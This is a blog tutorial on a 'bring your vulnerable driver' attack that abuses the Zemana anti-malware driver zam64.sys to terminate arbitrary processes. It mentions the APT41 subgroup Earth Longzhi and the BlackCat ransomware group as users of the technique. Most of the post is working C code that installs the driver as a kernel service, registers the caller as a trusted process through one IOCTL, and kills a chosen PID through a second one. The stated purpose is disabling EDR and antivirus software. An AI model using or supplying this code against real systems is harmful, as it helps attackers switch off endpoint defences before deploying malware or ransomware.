Friday, 20 September 2024

zam64.sys BYOVD process Terminator

Recently, Malware authors are using byovd(bring your vulnerable driver) too much to kill EDRs/AVs or to become persistent. This tool was used by Earth Longzhi , a subgroup of  APT41 or Winnti and BlackCat Ransomware group 

They are using the vulnerability in the Zemana AntiMalware software driver zam64.sys and  zamgaurd64.sys . They are the same driver which just different names 😐 .There hashes are same. I am using the zam64.sys  driver in this tutorial , which is found on the loldrivers here . There are lot of vulnerabilities found in this drivers , all due to no proper checking on the user input. I will be using bug in two IOCTL , which is used to kill process.

Reversing zam64.sys

This driver has some more symbols which helps in finding us IOCTL name and its use despite it needs to be obfuscated as it is a antimalware driver.
On opening the driver , we can see that the driver is creating symbolic link with the name as \\Device\\ZemanaAntiMalware. 


So, in the IOCTL numbers list , there are many IOCTLs for different processes but the useful one for us is the IOCTL_TERMINATE_PROCESS and  IOCTL_REGISTER_PROCESS.


This whole reverse engineering is done very briefly by @VoidSec in his blog post blog . But the main thing to consider here is that the processes which are in the trusted process list are allowed to do IOCTL operation.
So, using the IOCTL_REGISTER_PROCESS we will register our process in trusted process list and then  using other IOCTL_TERMINATE_PROCESS we can terminate any process except system process😮 with pid 4.

Register Service 

So, first we have to register the zam64.sys driver as a kernel services for which we will be using CreateServiceA and OpenServiceA  windows api to create and start the service.
 BOOL InstallDriver(char* Driverpath)
{
	SC_HANDLE hSCM, hService;
	SERVICE_STATUS Servicestatus;

	//establish connection to service control manager
	hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (hSCM == NULL) {
		printf("[OpenScManagerA] error code: 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	//Check if the service is already running and its state that whether it is running or stop.
	hService = OpenServiceA(hSCM, servicename, SERVICE_ALL_ACCESS);
	if (hService != NULL)
	{
		printf("[#] Service Already existing\n");

		//Check the state of the service
		if (!QueryServiceStatus(hService, &Servicestatus)) {

			//error in opern handling or some error
			CloseServiceHandle(hSCM);
			CloseServiceHandle(hService);

			printf("[QueryServiceStatus] error code: 0x%08x\n", GetLastError());
			exit(EXIT_FAILURE);
			return FALSE;
		}

		//If the service is stopped, then start the service
		if (Servicestatus.dwCurrentState == SERVICE_STOPPED)
		{
			if (!StartServiceA(hService,0,NULL))
			{
				//something error in starting service
				CloseServiceHandle(hSCM);
				CloseServiceHandle(hService);

				printf("[StartServiceA] error code : 0x%08X\n", GetLastError());
				exit(EXIT_FAILURE);
				return FALSE;
			}

			printf("[#] Starting service KillPid\n");
		}

		//Close Handles
		CloseServiceHandle(hSCM);
		CloseServiceHandle(hService);
		return TRUE;
	}

	//If service is not created before
	hService = CreateServiceA(hSCM, servicename, servicename, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
		Driverpath, NULL, NULL, NULL, NULL, NULL);
	if (hService == NULL)
	{
		//error creating service
		CloseServiceHandle(hSCM);

		printf("[CreateServiceA] error code : 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	printf("[#] Service Created Successfully\n");

	//START THE CREATED SERVICE
	if (!StartServiceA(hService,0, NULL))
	{
		CloseServiceHandle(hSCM);
		CloseServiceHandle(hService);

		printf("[StartServiceA] error code: 0x%08x\n", GetLastError());
		exit(EXIT_FAILURE);
		return FALSE;
	}

	printf("[#] Starting service KillPid ..\n");

	CloseServiceHandle(hSCM);
	CloseServiceHandle(hService);

	return TRUE;}
Just doing some basic check if the service is created before then only start the service and vice versa.

Process terminator

we have to use to IOCTLs IOCTL_TERMINATE_PROCESS and IOCTL_REGISTER_PROCESS having IOCTL numbers as 0x80002048 and 0x80002010.
//Exploitaion part of the zam64.sys driver
//opening the handle to the driver zam64.sys 
HMODULE hZAM = CreateFileA(TerminatorPath,
	FILE_READ_ACCESS | FILE_WRITE_ACCESS,
	FILE_SHARE_READ | FILE_SHARE_WRITE,
	NULL,
	OPEN_EXISTING,
	FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
	NULL);

if (hZAM == INVALID_HANDLE_VALUE) {
	printf("[CreateFileA] error code : 0x%08x\n", GetLastError());
	exit(EXIT_FAILURE);
}

ULONG CurrentPid = GetCurrentProcessId();
ULONG BytesReturned = 0;

//registry CurrentProcessId in the trusted Process List.
int ret = DeviceIoControl(hZAM, IOCTL_REGISTER_PROCESS, &CurrentPid, sizeof(CurrentPid), NULL, 0, NULL, NULL);
if (!ret) {
	printf("[DeviceIoControl] Failed to regsiter in trusted process list Code: 0x%08x\n", GetLastError());
	CloseHandle(hZAM);
	exit(EXIT_FAILURE);
}

printf("[+] Terminating the pid %i\n", pid);

//terminate the process
ret = DeviceIoControl(hZAM, IOCTL_KILL_PROCESS, &pid, sizeof(pid), NULL, NULL, &BytesReturned, NULL);
if (!ret) {
	printf("[DeviceIoControl] Failed to kill process id error code: 0x%08x\n", GetLastError());
	CloseHandle(hZAM);
	exit(EXIT_FAILURE);
}

CloseHandle(hZAM);
Just sending the currentprocessid to register the process first and then sending the pid taken as input from user to kill the process.

you can look at the full code at my GitHub repo  .

Thanks for reading.

References